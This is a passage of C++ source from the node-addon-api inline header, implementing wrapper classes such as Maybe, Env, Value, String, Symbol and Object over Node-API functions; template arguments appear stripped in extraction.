RegisterModule(napi_env env, napi_value exports, ModuleRegisterCallback registerCallback) { return details::WrapCallback(env, [&] { return napi_value( registerCallback(Napi::Env(env), Napi::Object(env, exports))); }); } //////////////////////////////////////////////////////////////////////////////// // Maybe class //////////////////////////////////////////////////////////////////////////////// template bool Maybe::IsNothing() const { return !_has_value; } template bool Maybe::IsJust() const { return _has_value; } template void Maybe::Check() const { NAPI_CHECK(IsJust(), "Napi::Maybe::Check", "Maybe value is Nothing."); } template T Maybe::Unwrap() const { NAPI_CHECK(IsJust(), "Napi::Maybe::Unwrap", "Maybe value is Nothing."); return _value; } template T Maybe::UnwrapOr(const T& default_value) const { return _has_value ? _value : default_value; } template bool Maybe::UnwrapTo(T* out) const { if (IsJust()) { *out = _value; return true; }; return false; } template bool Maybe::operator==(const Maybe& other) const { return (IsJust() == other.IsJust()) && (!IsJust() || Unwrap() == other.Unwrap()); } template bool Maybe::operator!=(const Maybe& other) const { return !operator==(other); } template Maybe::Maybe() : _has_value(false) {} template Maybe::Maybe(const T& t) : _has_value(true), _value(t) {} template inline Maybe Nothing() { return Maybe(); } template inline Maybe Just(const T& t) { return Maybe(t); } //////////////////////////////////////////////////////////////////////////////// // BasicEnv / Env class //////////////////////////////////////////////////////////////////////////////// inline BasicEnv::BasicEnv(node_addon_api_basic_env env) : _env(env) {} inline BasicEnv::operator node_addon_api_basic_env() const { return _env; } inline Env::Env(napi_env env) : BasicEnv(env) {} inline Env::operator napi_env() const { return const_cast(_env); } inline Object Env::Global() const { napi_value value; napi_status status = napi_get_global(*this, &value); NAPI_THROW_IF_FAILED(*this, status, Object()); return Object(*this, value); } inline Value Env::Undefined() const { napi_value value; napi_status status = napi_get_undefined(*this, &value); NAPI_THROW_IF_FAILED(*this, status, Value()); return Value(*this, value); } inline Value Env::Null() const { napi_value value; napi_status status = napi_get_null(*this, &value); NAPI_THROW_IF_FAILED(*this, status, Value()); return Value(*this, value); } inline bool Env::IsExceptionPending() const { bool result; napi_status status = napi_is_exception_pending(*this, &result); if (status != napi_ok) result = false; // Checking for a pending exception shouldn't throw. return result; } inline Error Env::GetAndClearPendingException() const { napi_value value; napi_status status = napi_get_and_clear_last_exception(*this, &value); if (status != napi_ok) { // Don't throw another exception when failing to get the exception! return Error(); } return Error(*this, value); } inline MaybeOrValue Env::RunScript(const char* utf8script) const { String script = String::New(*this, utf8script); return RunScript(script); } inline MaybeOrValue Env::RunScript(const std::string& utf8script) const { return RunScript(utf8script.c_str()); } inline MaybeOrValue Env::RunScript(String script) const { napi_value result; napi_status status = napi_run_script(*this, script, &result); NAPI_RETURN_OR_THROW_IF_FAILED( *this, status, Napi::Value(*this, result), Napi::Value); } #if NAPI_VERSION > 2 template void BasicEnv::CleanupHook::Wrapper(void* data) NAPI_NOEXCEPT { auto* cleanupData = static_cast< typename Napi::BasicEnv::CleanupHook::CleanupData*>(data); cleanupData->hook(); delete cleanupData; } template void BasicEnv::CleanupHook::WrapperWithArg(void* data) NAPI_NOEXCEPT { auto* cleanupData = static_cast< typename Napi::BasicEnv::CleanupHook::CleanupData*>(data); cleanupData->hook(static_cast(cleanupData->arg)); delete cleanupData; } #endif // NAPI_VERSION > 2 #if NAPI_VERSION > 5 template fini> inline void BasicEnv::SetInstanceData(T* data) const { napi_status status = napi_set_instance_data( _env, data, [](napi_env env, void* data, void*) { fini(env, static_cast(data)); }, nullptr); NAPI_FATAL_IF_FAILED( status, "BasicEnv::SetInstanceData", "invalid arguments"); } template fini> inline void BasicEnv::SetInstanceData(DataType* data, HintType* hint) const { napi_status status = napi_set_instance_data( _env, data, [](napi_env env, void* data, void* hint) { fini(env, static_cast(data), static_cast(hint)); }, hint); NAPI_FATAL_IF_FAILED( status, "BasicEnv::SetInstanceData", "invalid arguments"); } template inline T* BasicEnv::GetInstanceData() const { void* data = nullptr; napi_status status = napi_get_instance_data(_env, &data); NAPI_FATAL_IF_FAILED( status, "BasicEnv::GetInstanceData", "invalid arguments"); return static_cast(data); } template void BasicEnv::DefaultFini(Env, T* data) { delete data; } template void BasicEnv::DefaultFiniWithHint(Env, DataType* data, HintType*) { delete data; } #endif // NAPI_VERSION > 5 #if NAPI_VERSION > 8 inline const char* BasicEnv::GetModuleFileName() const { const char* result; napi_status status = node_api_get_module_file_name(_env, &result); NAPI_FATAL_IF_FAILED( status, "BasicEnv::GetModuleFileName", "invalid arguments"); return result; } #endif // NAPI_VERSION > 8 //////////////////////////////////////////////////////////////////////////////// // Value class //////////////////////////////////////////////////////////////////////////////// inline Value::Value() : _env(nullptr), _value(nullptr) {} inline Value::Value(napi_env env, napi_value value) : _env(env), _value(value) {} inline Value::operator napi_value() const { return _value; } inline bool Value::operator==(const Value& other) const { return StrictEquals(other); } inline bool Value::operator!=(const Value& other) const { return !this->operator==(other); } inline bool Value::StrictEquals(const Value& other) const { bool result; napi_status status = napi_strict_equals(_env, *this, other, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline Napi::Env Value::Env() const { return Napi::Env(_env); } inline bool Value::IsEmpty() const { return _value == nullptr; } inline napi_valuetype Value::Type() const { if (IsEmpty()) { return napi_undefined; } napi_valuetype type; napi_status status = napi_typeof(_env, _value, &type); NAPI_THROW_IF_FAILED(_env, status, napi_undefined); return type; } inline bool Value::IsUndefined() const { return Type() == napi_undefined; } inline bool Value::IsNull() const { return Type() == napi_null; } inline bool Value::IsBoolean() const { return Type() == napi_boolean; } inline bool Value::IsNumber() const { return Type() == napi_number; } #if NAPI_VERSION > 5 inline bool Value::IsBigInt() const { return Type() == napi_bigint; } #endif // NAPI_VERSION > 5 #if (NAPI_VERSION > 4) inline bool Value::IsDate() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_date(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } #endif inline bool Value::IsString() const { return Type() == napi_string; } inline bool Value::IsSymbol() const { return Type() == napi_symbol; } inline bool Value::IsArray() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_array(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsArrayBuffer() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_arraybuffer(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsTypedArray() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_typedarray(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsObject() const { return Type() == napi_object || IsFunction(); } inline bool Value::IsFunction() const { return Type() == napi_function; } inline bool Value::IsPromise() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_promise(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsDataView() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_dataview(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsBuffer() const { if (IsEmpty()) { return false; } bool result; napi_status status = napi_is_buffer(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } inline bool Value::IsExternal() const { return Type() == napi_external; } #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER inline bool Value::IsSharedArrayBuffer() const { if (IsEmpty()) { return false; } bool result; napi_status status = node_api_is_sharedarraybuffer(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } #endif template inline T Value::As() const { #ifdef NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS T::CheckCast(_env, _value); #endif return T(_env, _value); } template inline T Value::UnsafeAs() const { return T(_env, _value); } // static inline void Value::CheckCast(napi_env /* env */, napi_value value) { NAPI_CHECK(value != nullptr, "Value::CheckCast", "empty value"); } inline MaybeOrValue Value::ToBoolean() const { napi_value result; napi_status status = napi_coerce_to_bool(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Boolean(_env, result), Napi::Boolean); } inline MaybeOrValue Value::ToNumber() const { napi_value result; napi_status status = napi_coerce_to_number(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Number(_env, result), Napi::Number); } inline MaybeOrValue Value::ToString() const { napi_value result; napi_status status = napi_coerce_to_string(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::String(_env, result), Napi::String); } inline MaybeOrValue Value::ToObject() const { napi_value result; napi_status status = napi_coerce_to_object(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Object(_env, result), Napi::Object); } //////////////////////////////////////////////////////////////////////////////// // Boolean class //////////////////////////////////////////////////////////////////////////////// inline Boolean Boolean::New(napi_env env, bool val) { napi_value value; napi_status status = napi_get_boolean(env, val, &value); NAPI_THROW_IF_FAILED(env, status, Boolean()); return Boolean(env, value); } inline void Boolean::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Boolean::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Boolean::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_boolean, "%d", "Boolean::CheckCast"); } inline Boolean::Boolean() : Napi::Value() {} inline Boolean::Boolean(napi_env env, napi_value value) : Napi::Value(env, value) {} inline Boolean::operator bool() const { return Value(); } inline bool Boolean::Value() const { bool result; napi_status status = napi_get_value_bool(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } //////////////////////////////////////////////////////////////////////////////// // Number class //////////////////////////////////////////////////////////////////////////////// inline Number Number::New(napi_env env, double val) { napi_value value; napi_status status = napi_create_double(env, val, &value); NAPI_THROW_IF_FAILED(env, status, Number()); return Number(env, value); } inline void Number::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Number::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Number::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_number, "%d", "Number::CheckCast"); } inline Number::Number() : Value() {} inline Number::Number(napi_env env, napi_value value) : Value(env, value) {} inline Number::operator int32_t() const { return Int32Value(); } inline Number::operator uint32_t() const { return Uint32Value(); } inline Number::operator int64_t() const { return Int64Value(); } inline Number::operator float() const { return FloatValue(); } inline Number::operator double() const { return DoubleValue(); } inline int32_t Number::Int32Value() const { int32_t result; napi_status status = napi_get_value_int32(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } inline uint32_t Number::Uint32Value() const { uint32_t result; napi_status status = napi_get_value_uint32(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } inline int64_t Number::Int64Value() const { int64_t result; napi_status status = napi_get_value_int64(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } inline float Number::FloatValue() const { return static_cast(DoubleValue()); } inline double Number::DoubleValue() const { double result; napi_status status = napi_get_value_double(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } #if NAPI_VERSION > 5 //////////////////////////////////////////////////////////////////////////////// // BigInt Class //////////////////////////////////////////////////////////////////////////////// inline BigInt BigInt::New(napi_env env, int64_t val) { napi_value value; napi_status status = napi_create_bigint_int64(env, val, &value); NAPI_THROW_IF_FAILED(env, status, BigInt()); return BigInt(env, value); } inline BigInt BigInt::New(napi_env env, uint64_t val) { napi_value value; napi_status status = napi_create_bigint_uint64(env, val, &value); NAPI_THROW_IF_FAILED(env, status, BigInt()); return BigInt(env, value); } inline BigInt BigInt::New(napi_env env, int sign_bit, size_t word_count, const uint64_t* words) { napi_value value; napi_status status = napi_create_bigint_words(env, sign_bit, word_count, words, &value); NAPI_THROW_IF_FAILED(env, status, BigInt()); return BigInt(env, value); } inline void BigInt::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "BigInt::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "BigInt::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_bigint, "%d", "BigInt::CheckCast"); } inline BigInt::BigInt() : Value() {} inline BigInt::BigInt(napi_env env, napi_value value) : Value(env, value) {} inline int64_t BigInt::Int64Value(bool* lossless) const { int64_t result; napi_status status = napi_get_value_bigint_int64(_env, _value, &result, lossless); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } inline uint64_t BigInt::Uint64Value(bool* lossless) const { uint64_t result; napi_status status = napi_get_value_bigint_uint64(_env, _value, &result, lossless); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } inline size_t BigInt::WordCount() const { size_t word_count; napi_status status = napi_get_value_bigint_words(_env, _value, nullptr, &word_count, nullptr); NAPI_THROW_IF_FAILED(_env, status, 0); return word_count; } inline void BigInt::ToWords(int* sign_bit, size_t* word_count, uint64_t* words) { napi_status status = napi_get_value_bigint_words(_env, _value, sign_bit, word_count, words); NAPI_THROW_IF_FAILED_VOID(_env, status); } #endif // NAPI_VERSION > 5 #if (NAPI_VERSION > 4) //////////////////////////////////////////////////////////////////////////////// // Date Class //////////////////////////////////////////////////////////////////////////////// inline Date Date::New(napi_env env, double val) { napi_value value; napi_status status = napi_create_date(env, val, &value); NAPI_THROW_IF_FAILED(env, status, Date()); return Date(env, value); } inline Date Date::New(napi_env env, std::chrono::system_clock::time_point tp) { using namespace std::chrono; auto ms = static_cast( duration_cast(tp.time_since_epoch()).count()); return Date::New(env, ms); } inline void Date::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Date::CheckCast", "empty value"); bool result; napi_status status = napi_is_date(env, value, &result); NAPI_CHECK(status == napi_ok, "Date::CheckCast", "napi_is_date failed"); NAPI_CHECK(result, "Date::CheckCast", "value is not date"); } inline Date::Date() : Value() {} inline Date::Date(napi_env env, napi_value value) : Value(env, value) {} inline Date::operator double() const { return ValueOf(); } inline double Date::ValueOf() const { double result; napi_status status = napi_get_date_value(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } #endif //////////////////////////////////////////////////////////////////////////////// // Name class //////////////////////////////////////////////////////////////////////////////// inline void Name::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Name::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Name::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK(type == napi_string || type == napi_symbol, "Name::CheckCast", "value is not napi_string or napi_symbol, got %d.", type); } inline Name::Name() : Value() {} inline Name::Name(napi_env env, napi_value value) : Value(env, value) {} //////////////////////////////////////////////////////////////////////////////// // String class //////////////////////////////////////////////////////////////////////////////// inline String String::New(napi_env env, const std::string& val) { return String::New(env, val.c_str(), val.size()); } inline String String::New(napi_env env, const std::u16string& val) { return String::New(env, val.c_str(), val.size()); } inline String String::New(napi_env env, std::string_view val) { return String::New(env, val.data(), val.size()); } inline String String::New(napi_env env, const char* val) { // TODO(@gabrielschulhof) Remove if-statement when core's error handling is // available in all supported versions. if (val == nullptr) { // Throw an error that looks like it came from core. NAPI_THROW_IF_FAILED(env, napi_invalid_arg, String()); } napi_value value; napi_status status = napi_create_string_utf8(env, val, std::strlen(val), &value); NAPI_THROW_IF_FAILED(env, status, String()); return String(env, value); } inline String String::New(napi_env env, const char16_t* val) { napi_value value; // TODO(@gabrielschulhof) Remove if-statement when core's error handling is // available in all supported versions. if (val == nullptr) { // Throw an error that looks like it came from core. NAPI_THROW_IF_FAILED(env, napi_invalid_arg, String()); } napi_status status = napi_create_string_utf16(env, val, std::u16string(val).size(), &value); NAPI_THROW_IF_FAILED(env, status, String()); return String(env, value); } inline String String::New(napi_env env, const char* val, size_t length) { napi_value value; napi_status status = napi_create_string_utf8(env, val, length, &value); NAPI_THROW_IF_FAILED(env, status, String()); return String(env, value); } inline String String::New(napi_env env, const char16_t* val, size_t length) { napi_value value; napi_status status = napi_create_string_utf16(env, val, length, &value); NAPI_THROW_IF_FAILED(env, status, String()); return String(env, value); } inline void String::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "String::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "String::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_string, "%d", "String::CheckCast"); } inline String::String() : Name() {} inline String::String(napi_env env, napi_value value) : Name(env, value) {} inline String::operator std::string() const { return Utf8Value(); } inline String::operator std::u16string() const { return Utf16Value(); } inline std::string String::Utf8Value() const { size_t length; napi_status status = napi_get_value_string_utf8(_env, _value, nullptr, 0, &length); NAPI_THROW_IF_FAILED(_env, status, ""); std::string value; value.reserve(length + 1); value.resize(length); status = napi_get_value_string_utf8( _env, _value, &value[0], value.capacity(), nullptr); NAPI_THROW_IF_FAILED(_env, status, ""); return value; } inline std::u16string String::Utf16Value() const { size_t length; napi_status status = napi_get_value_string_utf16(_env, _value, nullptr, 0, &length); NAPI_THROW_IF_FAILED(_env, status, NAPI_WIDE_TEXT("")); std::u16string value; value.reserve(length + 1); value.resize(length); status = napi_get_value_string_utf16( _env, _value, &value[0], value.capacity(), nullptr); NAPI_THROW_IF_FAILED(_env, status, NAPI_WIDE_TEXT("")); return value; } //////////////////////////////////////////////////////////////////////////////// // Symbol class //////////////////////////////////////////////////////////////////////////////// inline Symbol Symbol::New(napi_env env, const char* description) { napi_value descriptionValue = description != nullptr ? String::New(env, description) : static_cast(nullptr); return Symbol::New(env, descriptionValue); } inline Symbol Symbol::New(napi_env env, const std::string& description) { napi_value descriptionValue = String::New(env, description); return Symbol::New(env, descriptionValue); } inline Symbol Symbol::New(napi_env env, std::string_view description) { napi_value descriptionValue = String::New(env, description); return Symbol::New(env, descriptionValue); } inline Symbol Symbol::New(napi_env env, String description) { napi_value descriptionValue = description; return Symbol::New(env, descriptionValue); } inline Symbol Symbol::New(napi_env env, napi_value description) { napi_value value; napi_status status = napi_create_symbol(env, description, &value); NAPI_THROW_IF_FAILED(env, status, Symbol()); return Symbol(env, value); } inline MaybeOrValue Symbol::WellKnown(napi_env env, const std::string& name) { // No need to check if the return value is a symbol or undefined. // Well known symbols are definite and it is an develop time error // if the symbol does not exist. #if defined(NODE_ADDON_API_ENABLE_MAYBE) Value symbol_obj; Value symbol_value; if (Napi::Env(env).Global().Get("Symbol").UnwrapTo(&symbol_obj) && symbol_obj.As().Get(name).UnwrapTo(&symbol_value)) { return Just(symbol_value.UnsafeAs()); } return Nothing(); #else return Napi::Env(env) .Global() .Get("Symbol") .As() .Get(name) .UnsafeAs(); #endif } inline MaybeOrValue Symbol::For(napi_env env, const std::string& description) { napi_value descriptionValue = String::New(env, description); return Symbol::For(env, descriptionValue); } inline MaybeOrValue Symbol::For(napi_env env, std::string_view description) { napi_value descriptionValue = String::New(env, description); return Symbol::For(env, descriptionValue); } inline MaybeOrValue Symbol::For(napi_env env, const char* description) { napi_value descriptionValue = String::New(env, description); return Symbol::For(env, descriptionValue); } inline MaybeOrValue Symbol::For(napi_env env, String description) { return Symbol::For(env, static_cast(description)); } inline MaybeOrValue Symbol::For(napi_env env, napi_value description) { #if defined(NODE_ADDON_API_ENABLE_MAYBE) Value symbol_obj; Value symbol_for_value; Value symbol_value; if (Napi::Env(env).Global().Get("Symbol").UnwrapTo(&symbol_obj) && symbol_obj.As().Get("for").UnwrapTo(&symbol_for_value) && symbol_for_value.As() .Call(symbol_obj, {description}) .UnwrapTo(&symbol_value)) { return Just(symbol_value.As()); } return Nothing(); #else Object symbol_obj = Napi::Env(env).Global().Get("Symbol").As(); return symbol_obj.Get("for") .As() .Call(symbol_obj, {description}) .As(); #endif } inline void Symbol::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Symbol::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Symbol::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_symbol, "%d", "Symbol::CheckCast"); } inline Symbol::Symbol() : Name() {} inline Symbol::Symbol(napi_env env, napi_value value) : Name(env, value) {} //////////////////////////////////////////////////////////////////////////////// // Automagic value creation //////////////////////////////////////////////////////////////////////////////// namespace details { template struct vf_number { static Number From(napi_env env, T value) { return Number::New(env, static_cast(value)); } }; template <> struct vf_number { static Boolean From(napi_env env, bool value) { return Boolean::New(env, value); } }; struct vf_utf8_charp { static String From(napi_env env, const char* value) { return String::New(env, value); } }; struct vf_utf16_charp { static String From(napi_env env, const char16_t* value) { return String::New(env, value); } }; struct vf_utf8_string { static String From(napi_env env, const std::string& value) { return String::New(env, value); } }; struct vf_utf16_string { static String From(napi_env env, const std::u16string& value) { return String::New(env, value); } }; template struct vf_fallback { static Value From(napi_env env, const T& value) { return Value(env, value); } }; template struct disjunction : std::false_type {}; template struct disjunction : B {}; template struct disjunction : std::conditional>::type {}; template struct can_make_string : disjunction::type, typename std::is_convertible::type, typename std::is_convertible::type, typename std::is_convertible::type> {}; } // namespace details template Value Value::From(napi_env env, const T& value) { using Helper = typename std::conditional< std::is_integral::value || std::is_floating_point::value, details::vf_number, typename std::conditional::value, String, details::vf_fallback>::type>::type; return Helper::From(env, value); } template String String::From(napi_env env, const T& value) { struct Dummy {}; using Helper = typename std::conditional< std::is_convertible::value, details::vf_utf8_charp, typename std::conditional< std::is_convertible::value, details::vf_utf16_charp, typename std::conditional< std::is_convertible::value, details::vf_utf8_string, typename std::conditional< std::is_convertible::value, details::vf_utf16_string, Dummy>::type>::type>::type>::type; return Helper::From(env, value); } //////////////////////////////////////////////////////////////////////////////// // TypeTaggable class //////////////////////////////////////////////////////////////////////////////// inline TypeTaggable::TypeTaggable() : Value() {} inline TypeTaggable::TypeTaggable(napi_env _env, napi_value _value) : Value(_env, _value) {} #if NAPI_VERSION >= 8 inline void TypeTaggable::TypeTag(const napi_type_tag* type_tag) const { napi_status status = napi_type_tag_object(_env, _value, type_tag); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline bool TypeTaggable::CheckTypeTag(const napi_type_tag* type_tag) const { bool result; napi_status status = napi_check_object_type_tag(_env, _value, type_tag, &result); NAPI_THROW_IF_FAILED(_env, status, false); return result; } #endif // NAPI_VERSION >= 8 //////////////////////////////////////////////////////////////////////////////// // Object class //////////////////////////////////////////////////////////////////////////////// template inline Object::PropertyLValue::operator Value() const { MaybeOrValue val = Object(_env, _object).Get(_key); #ifdef NODE_ADDON_API_ENABLE_MAYBE return val.Unwrap(); #else return val; #endif } template template inline Object::PropertyLValue& Object::PropertyLValue::operator=( ValueType value) { #ifdef NODE_ADDON_API_ENABLE_MAYBE MaybeOrValue result = #endif Object(_env, _object).Set(_key, value); #ifdef NODE_ADDON_API_ENABLE_MAYBE result.Unwrap(); #endif return *this; } template inline Value Object::PropertyLValue::AsValue() const { return Value(*this); } template inline Object::PropertyLValue::PropertyLValue(Object object, Key key) : _env(object.Env()), _object(object), _key(key) {} inline Object Object::New(napi_env env) { napi_value value; napi_status status = napi_create_object(env, &value); NAPI_THROW_IF_FAILED(env, status, Object()); return Object(env, value); } inline void Object::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Object::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Object::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK(type == napi_object || type == napi_function, "Object::CheckCast", "Expect napi_object or napi_function, but got %d.", type); } inline Object::Object() : TypeTaggable() {} inline Object::Object(napi_env env, napi_value value) : TypeTaggable(env, value) {} inline Object::PropertyLValue Object::operator[]( const char* utf8name) { return PropertyLValue(*this, utf8name); } inline Object::PropertyLValue Object::operator[]( const std::string& utf8name) { return PropertyLValue(*this, utf8name); } inline Object::PropertyLValue Object::operator[](uint32_t index) { return PropertyLValue(*this, index); } inline Object::PropertyLValue Object::operator[](Value index) const { return PropertyLValue(*this, index); } inline MaybeOrValue Object::operator[](const char* utf8name) const { return Get(utf8name); } inline MaybeOrValue Object::operator[]( const std::string& utf8name) const { return Get(utf8name); } inline MaybeOrValue Object::operator[](uint32_t index) const { return Get(index); } inline MaybeOrValue Object::Has(napi_value key) const { bool result; napi_status status = napi_has_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Has(Value key) const { bool result; napi_status status = napi_has_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Has(const char* utf8name) const { bool result; napi_status status = napi_has_named_property(_env, _value, utf8name, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Has(const std::string& utf8name) const { return Has(utf8name.c_str()); } inline MaybeOrValue Object::HasOwnProperty(napi_value key) const { bool result; napi_status status = napi_has_own_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::HasOwnProperty(Value key) const { bool result; napi_status status = napi_has_own_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::HasOwnProperty(const char* utf8name) const { napi_value key; napi_status status = napi_create_string_utf8(_env, utf8name, std::strlen(utf8name), &key); NAPI_MAYBE_THROW_IF_FAILED(_env, status, bool); return HasOwnProperty(key); } inline MaybeOrValue Object::HasOwnProperty( const std::string& utf8name) const { return HasOwnProperty(utf8name.c_str()); } inline MaybeOrValue Object::Get(napi_value key) const { napi_value result; napi_status status = napi_get_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); } inline MaybeOrValue Object::Get(Value key) const { napi_value result; napi_status status = napi_get_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); } inline MaybeOrValue Object::Get(const char* utf8name) const { napi_value result; napi_status status = napi_get_named_property(_env, _value, utf8name, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); } inline MaybeOrValue Object::Get(const std::string& utf8name) const { return Get(utf8name.c_str()); } template inline MaybeOrValue Object::Set(napi_value key, const ValueType& value) const { napi_status status = napi_set_property(_env, _value, key, Value::From(_env, value)); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } template inline MaybeOrValue Object::Set(Value key, const ValueType& value) const { napi_status status = napi_set_property(_env, _value, key, Value::From(_env, value)); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } template inline MaybeOrValue Object::Set(const char* utf8name, const ValueType& value) const { napi_status status = napi_set_named_property(_env, _value, utf8name, Value::From(_env, value)); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } template inline MaybeOrValue Object::Set(const std::string& utf8name, const ValueType& value) const { return Set(utf8name.c_str(), value); } inline MaybeOrValue Object::Delete(napi_value key) const { bool result; napi_status status = napi_delete_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Delete(Value key) const { bool result; napi_status status = napi_delete_property(_env, _value, key, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Delete(const char* utf8name) const { return Delete(String::New(_env, utf8name)); } inline MaybeOrValue Object::Delete(const std::string& utf8name) const { return Delete(String::New(_env, utf8name)); } inline MaybeOrValue Object::Has(uint32_t index) const { bool result; napi_status status = napi_has_element(_env, _value, index, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::Get(uint32_t index) const { napi_value value; napi_status status = napi_get_element(_env, _value, index, &value); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value); } template inline MaybeOrValue Object::Set(uint32_t index, const ValueType& value) const { napi_status status = napi_set_element(_env, _value, index, Value::From(_env, value)); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } inline MaybeOrValue Object::Delete(uint32_t index) const { bool result; napi_status status = napi_delete_element(_env, _value, index, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } inline MaybeOrValue Object::GetPropertyNames() const { napi_value result; napi_status status = napi_get_property_names(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Array(_env, result), Array); } inline MaybeOrValue Object::DefineProperty( const PropertyDescriptor& property) const { napi_status status = napi_define_properties( _env, _value, 1, reinterpret_cast(&property)); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } inline MaybeOrValue Object::DefineProperties( const std::initializer_list& properties) const { napi_status status = napi_define_properties( _env, _value, properties.size(), reinterpret_cast(properties.begin())); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } inline MaybeOrValue Object::DefineProperties( const std::vector& properties) const { napi_status status = napi_define_properties( _env, _value, properties.size(), reinterpret_cast(properties.data())); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } inline MaybeOrValue Object::InstanceOf( const Function& constructor) const { bool result; napi_status status = napi_instanceof(_env, _value, constructor, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); } template inline void Object::AddFinalizer(Finalizer finalizeCallback, T* data) const { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = details::AttachData::Wrapper>( _env, *this, data, finalizeData); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED_VOID(_env, status); } } template inline void Object::AddFinalizer(Finalizer finalizeCallback, T* data, Hint* 